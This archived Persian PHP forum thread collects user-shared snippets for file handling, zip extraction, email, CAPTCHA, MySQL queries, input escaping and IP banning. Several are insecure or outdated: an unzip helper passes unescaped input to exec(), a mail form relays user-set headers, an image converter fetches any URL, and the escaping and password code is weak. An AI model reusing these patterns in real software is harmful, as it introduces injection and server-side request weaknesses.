PDA

View Full Version : snippet های php



Reza1607
شنبه 28 فروردین 1389, 10:47 صبح
سلام دوستان
من حیف دونستم که تالار php مثل تالارهای vb.net , C#‎‎‎‎‎‎‎‎‎‎ تاپیکی برای اسنیپت نداشته باشه
حالا من می خوام با کمک دوستان این تاپیک رو راه اندازی کنم تا بشه به دوستان دیگه هم کمک کرد

فقط چند نکته رو رعایت کنید که تاپیک بیش از حد شلوغ و باعث سردرگمی نشه :

برای تشکر فقط از دکمه تشکر استفاده کنید
اگر سوالی دارید به صورت پیغام خصوصی برای افراد ارسال کنید
همچنين اول قطعه كدهاي ديگر دوستان رو مشاهده كنيد بعد قطعه كد خودتون رو بفرستيد تا از ارسال قطعه كدهاي مشابه جلوگيري بشه

تقاضای دیگه اینه که توضیح مختصری درباره اسنیپت رو هم بدید و دیگه امیدوارم با کمک دوستان این تاپیک به یک تاپیک کاربردی تبدیل بشه
--------------------------------------------------------------
دوستان بعد از مدت ها دوباره چشم به اين تاپيك افتاد مي خوام دوباره اين تاپيك رو زنده كنم
من ليست تمام قطعه كدهاي قرار رفته در اين تاپيك رو اينجا قرار مي دم

امنيت

تولید کننده رمز تصادفی (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1034905&viewfull=1#post1034905)
ايزوله كردن ورودي ها براي جلوگيري از Injection (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1037213&viewfull=1#post1037213)
بررسي صحت ايميل (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1240651&viewfull=1#post1240651)
بن كردن IP (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1144548&viewfull=1#post1144548)
validation ساده برای داده های فرم (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1240672&viewfull=1#post1240672)


كار با فايل

File Browser (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1144428&viewfull=1#post1144428)
لیست کردن فایل های داخل یک دایرکتوری (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=954527&viewfull=1#post954527)
نمایش سایز فایل (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=954507&viewfull=1#post954507)
دانلود به شرط ورود (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=954537&viewfull=1#post954537)
بدست آوردن فرمت فایل (extension) (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=954462&viewfull=1#post954462)
دانلود فايل (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1039091&viewfull=1#post1039091)
تبديل jpg به ascii (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1144539&viewfull=1#post1144539)
Base64 Encoding for Images (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1167674&viewfull=1#post1167674)
فايل موقت (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1170040&viewfull=1#post1170040)
كلاسي براي ساخت LOG فايل (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1240673&viewfull=1#post1240673)
ايجاد Log (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1491641&viewfull=1#post1491641)
فهرست فايل ها ( شامل فايل ها با اسامي فارسي) (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1493586&viewfull=1#post1493586)
پاك كردن يك شاخه با تمام محتوياتش (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1503225&viewfull=1#post1503225)
توليد سايت مپ (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1508189&viewfull=1#post1508189)
كپي يك فايل به صورت ريموت (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1512173&viewfull=1#post1512173)
كپي يك فايل به صورت ريموت 2 (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1512175&viewfull=1#post1512175)



كار با رشته ها

highlight کردن کلمه ("][/URL]
[URL="http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=954480&viewfull=1#post954480)
کوتاه کردن کلمه های طولانی (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=954489&viewfull=1#post954489)
کوتاه کردن یک رشته بر اساس تعداد کلمه (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1034902&viewfull=1#post1034902)
تعداد كلمات در يك رشته (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1144658&viewfull=1#post1144658)
حذف فضاي هاي غير ضروري (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1440852&viewfull=1#post1440852)
جدا كردن اعداد از يكسري از رشته ها (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1440861&viewfull=1#post1440861)
مقایسه ی دو String (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1485631&viewfull=1#post1485631)
HighLight کردن کدهای HTML درون متن (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1503222&viewfull=1#post1503222)


كار با بانك اطلاعاتي

كلاس اتصال به بانك (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1240675&viewfull=1#post1240675)
خصوصيات فيلدهاي جدول (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1037022&viewfull=1#post1037022)
ليست جداول (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1037018&viewfull=1#post1037018)
ليست ديتابيس ها (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1037011&viewfull=1#post1037011)
Mysql (insert / update) Tools (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1441070&viewfull=1#post1441070)
جستجو در دیتابیس (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1491566&viewfull=1#post1491566)


توابع تبديل

تبديل دلار به يورو (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1136958&viewfull=1#post1136958)


آرايه ها

انتخاب عضو تصادفي از آرايه (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1144544&viewfull=1#post1144544)


قطعه كدهاي ديگر

زمان توليد يك صفحه (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1107886&viewfull=1#post1107886)
ارسال ايميل با SMTP (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1039108&viewfull=1#post1039108)
نوع پروتكول + شماره پورت (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1039100&viewfull=1#post1039100)
آيا اكستنشن نصب است؟ (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1157986&viewfull=1#post1157986)
موتور جستجو (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1434251&viewfull=1#post1434251)
ساخت تصوير بند انگشتي (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1438025&viewfull=1#post1438025)
ساختن Tag Cloud (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1485634&viewfull=1#post1485634)
تشخيص مرورگر (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1491913&viewfull=1#post1491913)
تكه تكه كردن يك تصوير بزرگ (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1492191&viewfull=1#post1492191)
مشاهده ايميل هاي خوانده نشده در Gmail (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1492863&viewfull=1#post1492863)
چك كردن كشورها با استفاده از IP (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1496458&viewfull=1#post1496458)
رسم نمودار با PHP (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1498189&viewfull=1#post1498189)
یک کد نیمه حرفه ای برای گرفتن عکس از یک آدرس و نمایش توی صفحه (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1487830&viewfull=1#post1487830)



Ajax

Ajax (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1438013&viewfull=1#post1438013)
جداسازی درخواست AJAX (http://barnamenevis.org/showthread.php?215150-snippet-%D9%87%D8%A7%DB%8C-php&p=1485056&viewfull=1#post1485056)

Reza1607
شنبه 28 فروردین 1389, 10:53 صبح
snippet name:بدست آوردن فرمت فایل (extension)

در این قطعه کد با فرستادن نام فایل تابع پسوند اونو جدا کرده و برمی گردونه

Reza1607
شنبه 28 فروردین 1389, 11:08 صبح
highlight کردن کلمه
در این اسنیپت با استفاده از جایگزاری کلمه مورد نظر(کلمه سرچ شده) به صورت رنگ قرمز درآمدن و از بقیه کلمه ها متمایز می شود

Reza1607
شنبه 28 فروردین 1389, 11:12 صبح
کوتاه کردن کلمه های طولانی و گذاشتن ... به جای کلمه های حذف شده

Reza1607
شنبه 28 فروردین 1389, 11:28 صبح
نمایش سایز فایل با واحد های مناسب مثلا

2 B,2 KB,2MB

Reza1607
شنبه 28 فروردین 1389, 11:37 صبح
لیست کردن فایل های داخل یک دایرکتوری

Reza1607
شنبه 28 فروردین 1389, 11:45 صبح
این یک اسنیپت فوق العاده است که زیاد به کار میاد
کار این اسنیپت این هست که شما فایل هایی دارید که فقط می خواین اعضا سایت اونو دانلود کنند ولی اگه کاربر لینک رو داشته باشه می تونه با استفاده از نرم افزارهای مدیریت دانلود اونو بدون این که وارد کاربری بشه دانلود کنه ولی توی این کد شما آدرس واقعی فایل رو به کاربر نشون نمی دین و در عوض یک نام که تو جدولتون ذخیره شده رو نشونش می دیدن و زمانی که کاربر بخواد اون فایل رو دانلود یکنه چون فایلی با این نام وجود نداره نمی تونه دانلود کنه ولی اگه کاربری وارد کاربری شد شما با استفاده از نام آدرس واقعی فایل رو از جدول استخراج می کنید و انو با نامی که به کاربر نشون داده برای دانلود به کاربر ارائه می دین (چی گفتم :لبخندساده::لبخندساده::لبخن ساده: )
من یک نمونه هم گذاشتم ولی از جدول استفاده نکردم
امیدوارم مفید باشه

Reza1607
چهارشنبه 01 اردیبهشت 1389, 11:30 صبح
سلام بر همه
از دوستان و اساتید بزرگوار خواهش دارم که اگه کدهای کوچکی دارن که می تونه مفید باشه اینجا قرار بدن تا همه بتونن ازشون استفاده کند

funpatogh
چهارشنبه 16 تیر 1389, 22:45 عصر
<?php
function short($string,$limit){
$array=explode(" ",$string);
$string=implode(" ",array_slice($array,0,$limit))."...";
return $string;
}
echo short("salam omidvaram ke in code be darde shoma khorde bashe",5);
?>

funpatogh
چهارشنبه 16 تیر 1389, 22:50 عصر
<?php
function ramz($tedad){
$num=range(0,9);
$char=range(a,z);
$merge=array_merge($num,$char);
shuffle($merge);
while(strlen($str)<$tedad){
$input=$merge[(rand(0,count($merge)))];
if(!strstr($str,$input))
$str.=$input;
}
return $str;

}
echo ramz(6);
?>

صابر طهماسبی
چهارشنبه 16 تیر 1389, 23:03 عصر
یک کلاس قدرتمند و کامل برای Pagination (صفحه بندی اطلاعات) :
نحوه ی استفاده :




<?php
//Include the PS_Pagination class
include('ps_pagination.php');
//Connect to mysql db
$conn = mysql_connect('localhost', 'username', 'password');
mysql_select_db('testdb',$conn);
$sql = 'select title from pages';
//Create a PS_Pagination object
$pager = new PS_Pagination($conn, $sql, 8, 3, 'param1=valu1&param2=value2');
//The paginate() function returns a mysql
//result set for the current page
$rs = $pager->paginate();
//Loop through the result set
while($row = mysql_fetch_assoc($rs)) {
echo $row['title'];
}
//Display the navigation
echo $pager->renderFullNav();
?>


مروری بر توابع این کلاس :
1-renderFirst - برای نمایش لینک به صفحه ی اول
2-renderLast - برای نمایش لینک به صفحه ی آخر
3-renderNext - نمایش لینک به صفحه ی بعد
4-renderPrevious - نمایش لینک به صفحه ی قبل
5-renderNav - نمایش شماره صفحات
6-renderFullNav - نمایش یک pagination کامل

funpatogh
پنج شنبه 17 تیر 1389, 23:33 عصر
<?php
$file='1.zip';
$zip=zip_open($file);
while($read_zip=zip_read($zip)){

$filename=zip_entry_name($read_zip);
$open=zip_entry_open($zip,$read_zip,'r');
$read=zip_entry_read($read_zip,zip_entry_filesize( $read_zip));
$fopen=fopen($filename,'w');
fwrite($fopen,$read);
echo $filename."-> Created<br>";
}
?>

صابر طهماسبی
جمعه 18 تیر 1389, 20:30 عصر
از تابع زیر برای اینکار استفاده کنید :

functions.php

<?php
function unzip($location,$newLocation){
if(exec("unzip $location",$arr)){
mkdir($newLocation);
for($i = 1;$i< count($arr);$i++){
$file = trim(preg_replace("~inflating: ~","",$arr[$i]));
copy($location.'/'.$file,$newLocation.'/'.$file);
unlink($location.'/'.$file);
}
return TRUE;
}else{
return FALSE;
}
}
?>


extractZip.php

<?php
include 'functions.php';
if(unzip('zipedfiles/test.zip','unziped/myNewZip'))
echo 'Success!';
else
echo 'Error';
?>

صابر طهماسبی
جمعه 18 تیر 1389, 20:33 عصر
<html>
<head>
<title>Ascii</title>
<style>
body{
line-height:1px;
font-size:1px;
}
</style>
</head>
<body>
<?php
function getext($filename) {
$pos = strrpos($filename,'.');
$str = substr($filename, $pos);
return $str;
}
if(!isset($_POST['submit'])){
?>
<form action="<?echo $_SERVER['PHP_SELF'];?>" method="post">
JPG img URL: <input type="text" name="image"><br>
<input type="submit" name="submit" value="Create">
</form>
<?
}else{
$image = $_POST['image'];
$ext = getext($image);
if($ext == ".jpg"){
$img = ImageCreateFromJpeg($image);
}
else{
echo'Wrong File Type';
}
$width = imagesx($img);
$height = imagesy($img);

for($h=0;$h<$height;$h++){
for($w=0;$w<=$width;$w++){
$rgb = ImageColorAt($img, $w, $h);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($w == $width){
echo '<br>';
}else{
echo '<span style="color:rgb('.$r.','.$g.','.$b.');">#</span>';
}
}
}
}
?>
</body>
</html>

funpatogh
جمعه 18 تیر 1389, 21:22 عصر
از تابع زیر برای اینکار استفاده کنید :

functions.php

<?php
function unzip($location,$newLocation){
if(exec("unzip $location",$arr)){
mkdir($newLocation);
for($i = 1;$i< count($arr);$i++){
$file = trim(preg_replace("~inflating: ~","",$arr[$i]));
copy($location.'/'.$file,$newLocation.'/'.$file);
unlink($location.'/'.$file);
}
return TRUE;
}else{
return FALSE;
}
}
?>
extractZip.php

<?php
include 'functions.php';
if(unzip('zipedfiles/test.zip','unziped/myNewZip'))
echo 'Success!';
else
echo 'Error';
?>

عزیز من ران کردم کدت رو error داد و فکر کنم علتش این هست که تابع exec توی تقریبا تمام هاست ها disable شده برای امنیت سرور ها

funpatogh
جمعه 18 تیر 1389, 21:44 عصر
وصل شدن به ftp و نمایش فایل ها و فولدر های یک شاخه اصلی که توسط ما انتخاب میشود
و اگر شاخه انتخاب نشده باشد پیشفرض رووت رو نمایش میدهد www


<?php
$server='ftp.domain.com';
$user="fun";
$pass="123";
$dir="";
$id=ftp_connect($server)or die("not connected");
$login=ftp_login($id,$user,$pass);
if($login){
if($dir==""){
ftp_chdir($id,"www");
$dir=ftp_pwd($id);
}
$list_files=ftp_nlist($id,$dir);
foreach($list_files as $value){
if(strpos($value,".")!==false)
$type="<font color=red>File:</font>";
else
$type="<font color=green>Dir</font>";
if($value!="." and $value!="..")
echo $type." ".$value."<br>";
}


}else
echo "Not Login";

?>

funpatogh
جمعه 18 تیر 1389, 21:48 عصر
<?php
//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test email with attachment';
//create a boundary string. It must be unique
//so we use the MD5 algorithm to generate a random hash
$random_hash = md5(date('r', time()));
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//add boundary string and mime type specification
$headers .= "\r\nContent-Type: multipart/mixed; boundary=\"PHP-mixed-".$random_hash."\"";
//read the atachment file contents into a string,
//encode it with MIME base64,
//and split it into smaller chunks
$attachment = chunk_split(base64_encode(file_get_contents('attac hment.zip')));
//define the body of the message.
ob_start(); //Turn on output buffering
?>
--PHP-mixed-<?php echo $random_hash; ?>
Content-Type: multipart/alternative; boundary="PHP-alt-<?php echo $random_hash; ?>"

--PHP-alt-<?php echo $random_hash; ?>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello World!!!
This is simple text email message.

--PHP-alt-<?php echo $random_hash; ?>
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

<h2>Hello World!</h2>
<p>This is something with <b>HTML</b> formatting.</p>

--PHP-alt-<?php echo $random_hash; ?>--

--PHP-mixed-<?php echo $random_hash; ?>
Content-Type: application/zip; name="attachment.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment

<?php echo $attachment; ?>
--PHP-mixed-<?php echo $random_hash; ?>--

<?php
//copy current buffer contents into $message variable and delete current output buffer
$message = ob_get_clean();
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed"
echo $mail_sent ? "Mail sent" : "Mail failed";
?>

funpatogh
جمعه 18 تیر 1389, 21:51 عصر
<?php
session_start();

function convertrgb( $color )
{
$color = eregi_replace( "[^0-9a-f]", "", $color );
return array( hexdec( substr( $color, 0, 2 ) ), hexdec( substr( $color, 2, 2 ) ), hexdec( substr( $color, 4, 2 ) ) );
}

function createimage( $text, $width, $height, $font = 5 )
{
global $fontColor;
global $bgColor;
global $lineColor;
if ( $img = @imagecreate( $width, $height ) )
{
list( $R, $G, $B ) = convertrgb( $fontColor );
$fontColor = imagecolorallocate( $img, $R, $G, $B );
list( $R, $G, $B ) = convertrgb( $bgColor );
$bgColor = imagecolorallocate( $img, $R, $G, $B );
list( $R, $G, $B ) = convertrgb( $lineColor );
$lineColor = imagecolorallocate( $img, $R, $G, $B );
imagefill( $img, 0, 0, $bgColor );
$i = 0;
for ( ; $i <= $width; $i += 5 )
{
@imageline( $img, $i, 0, $i, $height, $lineColor );
}
$i = 0;
for ( ; $i <= $height; $i += 5 )
{
@imageline( $img, 0, $i, $width, $i, $lineColor );
}
$hcenter = $width / 2;
$vcenter = $height / 2;
$x = round( $hcenter - imagefontwidth( $font ) * strlen( $text ) / 2 );
$y = round( $vcenter - imagefontheight( $font ) / 2 );
imagestring( $img, $font, $x, $y, $text, $fontColor );
if ( function_exists( "ImagePNG" ) )
{
header( "Content-Type: image/png" );
@imagepng( $img );
}
else if ( function_exists( "ImageGIF" ) )
{
header( "Content-Type: image/gif" );
@imagegif( $img );
}
else if ( function_exists( "ImageJPEG" ) )
{
header( "Content-Type: image/jpeg" );
@imagejpeg( $img );
}
imagedestroy( $img );
}
}

error_reporting( E_WARNING );
if ( function_exists( "session_start" ) )
{
session_start( );
}
$fontSize = 5;
$fontColor = "000000";
$bgColor = "FFFFFF";
$lineColor = "B0B0B0";
$secCode = "";
for ( $i = 0; $i < 6; ++$i )
{
$secCode .= rand( 0, 9 );
}
$_SESSION['rash_secimg'] = $secCode;
createimage( $secCode, 71, 21, $fontSize );
?>

funpatogh
جمعه 18 تیر 1389, 21:53 عصر
<?php
$lib='<?xml version="1.0"?>
<library>
<shelf id="fiction">
<book>
<title>Of Mice and Men</title>
<author>John Steinbeck</author>
</book>
<book>
<title>Harry Potter and the Philosopher\'s Stone</title>
<author>J.K. Rowling</author>
</book>
</shelf>
</library>';

$library = simplexml_load_string($lib);
foreach ($library->shelf as $shelf) {
printf("Shelf %s\n", $shelf['id']);
foreach ($shelf->book as $book) {
printf("Title: %s<br>", $book->title);
printf("Author: %s<br>", $book->author);
}
}
?>

funpatogh
جمعه 18 تیر 1389, 21:54 عصر
<?php
ob_start();
for ($i; $i <= 10 ; $i++){
echo $i;
ob_flush();
flush();
sleep(1);
}
?>

kabotareazad
شنبه 19 تیر 1389, 15:59 عصر
با استفاده از کد زیر می توانید لیست پایگاه های موجود در Mysql را ببینید




<?php
mysql_connect("localhost","root","");
$dbs=mysql_list_dbs();
while($result=mysql_fetch_array($dbs))
{
echo $result[0]."<br>";
}
?>

kabotareazad
شنبه 19 تیر 1389, 16:08 عصر
با استفاده از کد زیر می توانید لیست جداول موجود در DB را ببینید



<?php
mysql_connect("localhost","root","");
$tables=mysql_list_tables("database_name");
while($tbl=mysql_fetch_array($tables))
{
echo $tbl[0]."<br>";
}
?>

kabotareazad
شنبه 19 تیر 1389, 16:12 عصر
در این کد خصوصیات فیلدهای جدول اعم از نام، نوع، طول و ... را می توانید ببینید:



<?php
mysql_connect("localhost","root","");
mysql_select_db("database_name");
$sel=mysql_query("select * from table_name");
$num=mysql_num_fields($sel);

// first record
echo mysql_field_name($sel,1)."<br>".mysql_field_type($sel,1)."<br>".mysql_field_len($sel,1)."<br>".mysql_field_table($sel,1)."<br>";
echo mysql_field_seek($sel,1);
?>

funpatogh
شنبه 19 تیر 1389, 20:41 عصر
function AntiInject( $Source ){
$Source = htmlspecialchars(trim($Source ));
if(! get_magic_quotes_gpc() ) {
$Source = addslashes( $Source );
}
return mysql_real_escape_string(stripslashes($Source));
}

funpatogh
دوشنبه 21 تیر 1389, 22:33 عصر
<?php
$filename = 'httpfile.zip';
$mimetype = 'application/zip';
$data = file_get_contents($filename);
$size = strlen($data);
header("Content-Disposition: attachment; filename= $filename");
header("Content-Length: $size");
header("Content-Type: $mimetype");
echo $data;
?>

funpatogh
دوشنبه 21 تیر 1389, 22:47 عصر
<?php
$services = array('http', 'ftp', 'ssh', 'telnet', 'imap',
'smtp', 'nicname', 'gopher', 'finger', 'pop3', 'www');

foreach ($services as $service) {
$port = getservbyname($service, 'tcp');
echo $service . ": " . $port . "<br />\n";
}
?>

funpatogh
دوشنبه 21 تیر 1389, 23:05 عصر
اسم دامین و آی پی سایت خودتان را توی 2 تا فایل قرار بدهید
smtp.php



<html>
<body>
<pre>
<?php
$fp = fsockopen("10.211.101.226", 25, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {

$to=$_POST['to'];
$from=$_POST['from'];
$subject=$_POST['subject'];
$data=$_POST['data'];

$out = "helo mysite.com \r\n";
fwrite($fp, $out);
echo "\n".fgets($fp, 128);

flush();
$out = "mail from:<$from>\r\n";
fwrite($fp, $out);
echo fgets($fp, 128);

$out = "rcpt to:<$to>\r\n";
fwrite($fp, $out);
echo fgets($fp, 128);

$out = "data\r\n";
fwrite($fp, $out);
echo fgets($fp, 128);

$out =date("jS of F Y, \a\\t g.i a", time());
$out .= "\r\nFrom: <$from>\r\n";
$out .= "Subject: $subject\r\n";
$out .="To: $to\r\n\r\n";
$out .="$data\r\n.\r\n";
fwrite($fp, $out);
echo fgets($fp, 128);

$out = "quit\r\n";
fwrite($fp, $out);
echo fgets($fp, 128);
fclose($fp);
}
?>
</body>
</html>


send.htm


<html>
<body>

<form action="http://www.domain.com/smtp.php" method="post" >
<font size="7"><b>Send Mail</b> </font>
<pre>

<input type="submit" value=" Compose "> <input type="reset" value=" Reset " name="B1">

<b>To <input type="text" name="to" size="34"> <b>From</b><input type="text" name="from" size="31">

<b>Subject </b> <input type="text" name="subject" size="71"></p>
Message
<textarea rows="6" name="data" cols="64"></textarea></p><b>
</pre>
</form>

</body>
</html>

funpatogh
جمعه 02 مهر 1389, 16:29 عصر
نمایش زمان باز شدن یک صفحه یا اجرای یک دستور العمل


<?php
$start=microtime(true);
sleep(5);
$end=microtime(true);
echo number_format($end-$start,2);
?>

funpatogh
سه شنبه 04 آبان 1389, 21:01 عصر
فانکشن برای تبدیل دلار به یورو


<?php
function currency($from_Currency,$to_Currency,$amount) {
$amount = urlencode($amount);
$from_Currency = urlencode($from_Currency);
$to_Currency = urlencode($to_Currency);
$url = "http://www.google.com/ig/calculator?hl=en&q=$amount$from_Currency=?$to_Currency";
$ch = curl_init();
$timeout = 0;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT , "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$rawdata = curl_exec($ch);
curl_close($ch);
$data = explode('"', $rawdata);
PRINT_R($data);
$data = explode(' ', $data['3']);
$var = $data['0'];
return round($var,2);
}
echo currency("USD","EUR",100);
?>

funpatogh
پنج شنبه 13 آبان 1389, 23:25 عصر
File Brwser: نمایش فایل ها و فولدر های یک مسیر که میتونه شامل پارتیشن و یا دایرکتوری باشه

binyaft
جمعه 14 آبان 1389, 09:10 صبح
<html>
<head>
<title>Ascii</title>
<style>
body{
line-height:1px;
font-size:1px;
}
</style>
</head>
<body>
<?php
function getext($filename) {
$pos = strrpos($filename,'.');
$str = substr($filename, $pos);
return $str;
}
if(!isset($_POST['submit'])){
?>
<form action="<?echo $_SERVER['PHP_SELF'];?>" method="post">
JPG img URL: <input type="text" name="image"><br>
<input type="submit" name="submit" value="Create">
</form>
<?
}else{
$image = $_POST['image'];
$ext = getext($image);
if($ext == ".jpg"){
$img = ImageCreateFromJpeg($image);
}
else{
echo'Wrong File Type';
}
$width = imagesx($img);
$height = imagesy($img);

for($h=0;$h<$height;$h++){
for($w=0;$w<=$width;$w++){
$rgb = ImageColorAt($img, $w, $h);
$r = ($rgb >> 16) & 0xFF;
$g = ($rgb >> 8) & 0xFF;
$b = $rgb & 0xFF;
if($w == $width){
echo '<br>';
}else{
echo '<span style="color:rgb('.$r.','.$g.','.$b.');">#</span>';
}
}
}
}
?>
</body>
</html>
منبع : http://phpsnips.com/

binyaft
جمعه 14 آبان 1389, 09:12 صبح
<?php
$email = $_POST['email'];
if(preg_match("~([a-zA-Z0-9!#$%&'*+-/=?^_`{|}~])@([a-zA-Z0-9-]).([a-zA-Z0-9]{2,4})~",$email)){
echo 'This is a valid email.';
}else{
echo 'This is an invalid email.';
}
?>

binyaft
جمعه 14 آبان 1389, 09:17 صبح
<?php
$colors = array('red','orange','yellow','green','blue');
echo $colors[array_rand($colors)];
?>

binyaft
جمعه 14 آبان 1389, 09:20 صبح
<?php

$delim = " ";
$string = "One point twenty one gigawatts?";
$words = count(explode($delim, $string));
echo "The string contains $words elements.";

?>

binyaft
جمعه 14 آبان 1389, 09:21 صبح
<?php

//Set banned IP
$banned = '123.123.123.123';

//get user IP address
$userip = $_SERVER['REMOTE_ADDR'];

//check for banned IP address
if($userip == $banned){
echo "<BR>This IP address has been banned";
exit();
}

//continue with script...

?>

binyaft
جمعه 14 آبان 1389, 09:23 صبح
<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtoupper($str);
echo $str;
?>

funpatogh
جمعه 14 آبان 1389, 12:10 عصر
<?php

$delim = " ";
$string = "One point twenty one gigawatts?";
$words = count(explode($delim, $string));
echo "The string contains $words elements.";

?>


<?php
$string="i am mohammad jamshidi";
echo str_word_count($string);
?>

funpatogh
یک شنبه 30 آبان 1389, 20:55 عصر
در لوکال برای چک کردن یک اکستنشن که آیا لود میشود و یا خیر و همین طور برای نصب یک اکستنش که نصب نیست به این شکل عمل میشود


<?php
if(!extension_loaded('gd')){
if(!dl('gd.dll')){ // for windows
//if(!dl('gd.so')){ for linux

die("Error Not Loaing");
}
}

?>

در سرور هم فقط اکستنشن هایی که روی سرور نصب هست اما فعال نیست و همچنین اگر ادمین به user اجازه فعال کردن دینامیک داده باشه میشه به این شکل عمل کرد که در حالت معمولی این کار غیر ممکن هست

funpatogh
سه شنبه 16 آذر 1389, 00:42 صبح
Base64 Encoding for Images



<?php
$img_src = "image/sample.png";
$imgbinary = fread(fopen($img_src, "r"), filesize($img_src));
$img_str = base64_encode($imgbinary);
echo '<img src="data:image/jpg;base64,'.$img_str.'" />';
?>

funpatogh
جمعه 19 آذر 1389, 18:15 عصر
ایجاد فایل موقت


<?php
$temp = tmpfile();
fwrite($temp, "writing to tempfile");
fseek($temp, 0);
echo fread($temp, 1024);
fclose($temp); // this removes the file
?>

tux-world
یک شنبه 10 بهمن 1389, 11:45 صبح
Base64 Encoding for Images


<?php
$img_src = "image/sample.png";
$imgbinary = fread(fopen($img_src, "r"), filesize($img_src));
$img_str = base64_encode($imgbinary);
echo '<img src="data:image/jpg;base64,'.$img_str.'" />';
?>

سلام. ممنون دوست عزیز. دراین مورد یه توضیحی میدین ؟ منظور از این دکد کردن برای عکس چیه؟ و اینکه تو مثالها دیدم که نوشته بودید تبدیل کد عکس به کد اسکی آیا راه برعکسش وجود داره ؟

رضا قربانی
دوشنبه 23 اسفند 1389, 02:42 صبح
اینجا اومده و عکس رو هچ کرده و به صورت رمزی در آورده و برای اینکه از encode در بیاریم باید از decode استفاده کنیم

$ M 3 H R D A D $
دوشنبه 23 اسفند 1389, 11:07 صبح
